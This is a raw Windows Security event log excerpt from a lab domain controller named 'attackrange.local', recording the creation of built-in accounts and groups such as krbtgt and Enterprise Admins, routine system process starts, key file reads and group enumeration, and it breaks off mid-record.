RecordNumber=248111
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Cert Publishers
	Group Name:		Cert Publishers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248110
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Cert Publishers
	Group Name:		Cert Publishers
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Cert Publishers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248109
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Admins
	Group Name:		Enterprise Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4754
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248108
Keywords=Audit Success
Message=A security-enabled universal group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Admins
	Group Name:		Enterprise Admins
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Enterprise Admins
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248107
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Schema Admins
	Group Name:		Schema Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4754
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248106
Keywords=Audit Success
Message=A security-enabled universal group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Schema Admins
	Group Name:		Schema Admins
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Schema Admins
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248105
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Controllers
	Group Name:		Domain Controllers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248104
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Domain Controllers
	Group Name:		Domain Controllers
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Domain Controllers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248103
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Computers
	Group Name:		Domain Computers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248102
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Domain Computers
	Group Name:		Domain Computers
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Domain Computers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=User Account Management
OpCode=Info
RecordNumber=248101
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Target Account:
	Security ID:		ATTACKRANGE\krbtgt
	Account Name:		krbtgt
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=User Account Management
OpCode=Info
RecordNumber=248100
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Target Account:
	Security ID:		ATTACKRANGE\krbtgt
	Account Name:		krbtgt
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	3/1/2021 12:37:50 PM
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=User Account Management
OpCode=Info
RecordNumber=248099
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Target Account:
	Security ID:		ATTACKRANGE\krbtgt
	Account Name:		krbtgt
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		0x15
	New UAC Value:		0x11
	User Account Control:	
		'Password Not Required' - Disabled
	User Parameters:	-
	SID History:		-
	Logon Hours:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4720
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=User Account Management
OpCode=Info
RecordNumber=248098
Keywords=Audit Success
Message=A user account was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Account:
	Security ID:		ATTACKRANGE\krbtgt
	Account Name:		krbtgt
	Account Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	krbtgt
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	<never>
	Account Expires:		<never>
	Primary Group ID:	513
	Allowed To Delegate To:	-
	Old UAC Value:		0x0
	New UAC Value:		0x15
	User Account Control:	
		Account Disabled
		'Password Not Required' - Enabled
		'Normal Account' - Enabled
	User Parameters:	<value changed, but not displayed>
	SID History:		-
	Logon Hours:		<value not set>

Additional Information:
	Privileges		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=248097
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	3/1/2021 12:37:50 PM
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=248096
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		0x105
	New UAC Value:		0x2100
	User Account Control:	
		Account Enabled
		'Password Not Required' - Disabled
		'Trusted For Delegation' - Enabled
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4722
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=User Account Management
OpCode=Info
RecordNumber=248095
Keywords=Audit Success
Message=A user account was enabled.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Target Account:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4741
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=248094
Keywords=Audit Success
Message=A computer account was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Computer Account:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	WIN-DC-725$
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	<never>
	Account Expires:		<never>
	Primary Group ID:	516
	AllowedToDelegateTo:	-
	Old UAC Value:		0x0
	New UAC Value:		0x105
	User Account Control:	
		Account Disabled
		'Password Not Required' - Enabled
		'Server Trust Account' - Enabled
	User Parameters:	<value changed, but not displayed>
	SID History:		-
	Logon Hours:		<value not set>
	DNS Host Name:		-
	Service Principal Names:	-

Additional Information:
	Privileges		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248093
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Performance Log Users
	Group Name:		Performance Log Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248092
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

New Group:
	Security ID:		BUILTIN\Performance Log Users
	Group Name:		Performance Log Users
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Performance Log Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248091
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Performance Monitor Users
	Group Name:		Performance Monitor Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248090
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

New Group:
	Security ID:		BUILTIN\Performance Monitor Users
	Group Name:		Performance Monitor Users
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Performance Monitor Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248089
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Network Configuration Operators
	Group Name:		Network Configuration Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248088
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

New Group:
	Security ID:		BUILTIN\Network Configuration Operators
	Group Name:		Network Configuration Operators
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Network Configuration Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248087
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Remote Desktop Users
	Group Name:		Remote Desktop Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248086
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

New Group:
	Security ID:		BUILTIN\Remote Desktop Users
	Group Name:		Remote Desktop Users
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Remote Desktop Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248085
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Print Operators
	Group Name:		Print Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248084
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

New Group:
	Security ID:		BUILTIN\Print Operators
	Group Name:		Print Operators
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Print Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248221
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x964
	New Process Name:	C:\Windows\System32\CompatTelRunner.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\compattelrunner.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248220
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x94c
	New Process Name:	C:\Windows\System32\taskhostw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	taskhostw.exe TpmTasks

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248219
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x920
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5024
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other System Events
OpCode=Info
RecordNumber=248218
Keywords=Audit Success
Message=The Windows Firewall service started successfully.
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=System Integrity
OpCode=Info
RecordNumber=248217
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other System Events
OpCode=Info
RecordNumber=248216
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=System Integrity
OpCode=Info
RecordNumber=248215
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other System Events
OpCode=Info
RecordNumber=248214
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248213
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x478
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:44:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248212
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
